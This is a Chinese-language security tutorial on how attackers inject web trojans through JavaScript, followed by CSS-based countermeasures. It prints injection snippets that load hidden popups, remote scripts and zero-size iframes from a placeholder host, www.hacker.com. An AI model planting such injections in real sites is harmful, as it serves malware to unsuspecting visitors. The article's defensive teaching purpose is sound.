IFRAME掛馬方式比較早,相應的預防措施也比較多,其中用CSS配合JS腳本進行預防是主流方式。可這種預防方式也存在安全隱患,JS腳本也可以被用來掛馬,令人防不勝防。我們下面要介紹反擊JS掛馬的方法。
文章要點:了解JS掛馬方式
文章難度:★★
學習進程:√ IFRAME掛馬
√ JS掛馬
CSS掛馬
……
HNC網絡聯盟劉思楊:安全工程師,曾經負責過許多單位的網絡安全
許多人認為,只要自己的服務器安全做得足夠好,建站程序補丁打得勤快,就能夠抵御住所有黑客的攻擊。這樣做的人肯定是非常多的,可為什麼還是有許多網站被黑呢?
一個很重要的原因,就是他們過於相信從第三方網站中下載的整站程序,或者修改版的論壇程序等,而這些程序有些已經被黑客做過手腳,已經植入了後門,此時如果網站站長不熟悉如何查補漏洞,將無異於引狼入室。
比較典型的一個例子是,曾經非常出名的《易想多用戶商城 v2.1》(仿淘寶版),被許多黑客竄改過,多個關鍵頁面被植入了後門,然後到處提供下載,導致了許多使用該程序的網站被攻擊。因此在隱蔽手段掛馬橫行的今天,熟悉並掌握隱蔽的掛馬方式,是一個安全工程師必備的技能。
JS掛馬溯源
古人雲:人算不如天算,天算不如暗算(小編:哪個古人這樣雲過?)。tw.WIngWit.cOm當IFRAME逐漸被黑客濫用的時候,有經驗的安全工程師也開始研究相應的對策,一段時間內各種阻止IFRAME掛馬的方法不斷湧現,其中通用性較高的就是利用CSS配合JS腳本防御IFRAME掛馬。
而黑客也發現,很多網站都會讓網頁調用JS腳本來實現廣告等諸多特效,如果將木馬掛在JS腳本中,所有調用該JS腳本的網頁都等同於被掛上了木馬,對於需要肉雞群的黑客而言是一勞永逸,因此JS腳本掛馬逐漸開始被黑客應用。
小百科:JS腳本是JavaScript腳本語言的簡稱,它是一種面向對象的腳本語言,目前廣泛用於動態網頁的編程。需要提示大家的是,JavaScript和Java除了語法上有一些相似之處,以及都能夠當作網頁的編程語言以外,兩者是完全不相干的。而JavaScript與Jscript也不同,Jscript是微軟為了迎戰JavaScript推出的腳本語言。
雖然JavaScript作為給非程序人員的腳本語言向大眾推廣,但是JavaScript是一門具有豐富特性的語言,它有著和其他編程語言一樣的復雜性。實際上,你必須對JS有扎實的理解才能用它來編寫比較復雜的程序,作為一名安全工程師,掌握JS腳本在工作中會有很大的幫助。
掛馬原理一點通
JS腳本掛馬對於黑客而言,可以說優點多得數不過來,首先JS腳本在掛馬時可以直接將JS代碼寫在網頁中,也可以通過注入網頁,讓網站遠程調取異地JS腳本。此外,JS掛馬插入Web頁面的方法有幾十種,絕對夠菜鳥們眼花缭亂,無從辨別木馬在何處。
IFRAME掛馬相對於安全工程師而言,如同一個穿著鮮紅顏色外衣的劫匪,招搖而扎眼,很容易被發現。但是利用JS掛馬就意味著這個劫匪擁有了一張可以隨時變換的面孔,而且它還能夠隨時更換衣服。這樣的劫匪在安全工程師搜查時,很容易蒙混過關,導致木馬久殺不絕。
JS掛馬攻防實錄
攻現在最多見的JS掛馬方法有兩種,一種是直接將JavaScript腳本代碼寫在網頁中,當訪問者在浏覽網頁時,惡意的掛馬腳本就會通過用戶的浏覽器悄悄地打開網馬窗口,隱藏地運行(圖1),這種方法使用的關鍵代碼如下:
window.open("http://www.hacker.com/木.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
這種代碼往往很長,很容易被安全工程師發現,而且沒有經驗的黑客也喜歡將“width”和“height=”參數設為“0”,但是設置為0後,可能會出現惡意代碼不運行的情況。
另外一種JS掛馬方式是,黑客先將掛馬腳本代碼“document.write('')”,寫入Windows中的寫字板另存為後綴為.js的腳本文件,並上傳到自己指定的網址。這時黑客只需要在受害者的網站中寫入:
<script src="http://www.hacker.com/木馬腳本.js"></script>
或者
document.write("<div style='display:none'>")
document.write("<iframe src="網頁木馬地址" width="0" height="0" scrolling="no" frameborder="0"></iframe>")
document.write("</div>")
就成功地將木馬掛到了對方的網頁中了。
小提示:黑客還可以根據情況隨機變換插入的JS掛馬方法,例如黑客有可能會將腳本寫為:<div style="behaviour: url(http://www.hacker.com/木馬腳本.js);">或者<if rame src="vbscript:[掛馬腳本]">等。
防第一種JS掛馬方式,不方便,用得非常少,而第二種JS掛馬方式才是當前主流的,所以我們主要針對它進行防御。方法就是阻止Src請求的異地外域的JS腳本,代碼如下:
iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}
script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木馬被成功隔離!'):'');}
不過這種方法的缺點就是網站的訪問者將不能看到被掛了JS木馬的相關網頁(圖2)。
所以我們為安全工程師提供了一段可以中止JS腳本運行的CSS代碼,這段代碼會讓異地外域的JS文件在使用document.write()時,被document.close()強制關閉。這個時侯JS掛馬的內容往往還沒有來得及寫完,只有部分被強制輸出了,Writer後面的內容再不會被寫入訪問者的電腦中,從而起到防范JS腳本掛馬的作用。
<title>讓JS掛馬中止的CSS代碼</title>
<style type="text/css" id="shudoo">
/*<![CDATA[*/
if rame{mdy1:expression(this.src='about:blank',this.outerHTML='');}
script{mzm2:expression((this.src.indexOf('http')==0)?document.close():'');}
/*]]>*/
我們雖然能夠巧妙地利用CSS代碼防范IFRAME和JS腳本掛馬,但是為什麼網頁掛馬還是層出不窮?這恐怕就要說一說CSS掛馬了……
From:http://tw.wingwit.com/Article/Network/201309/75.html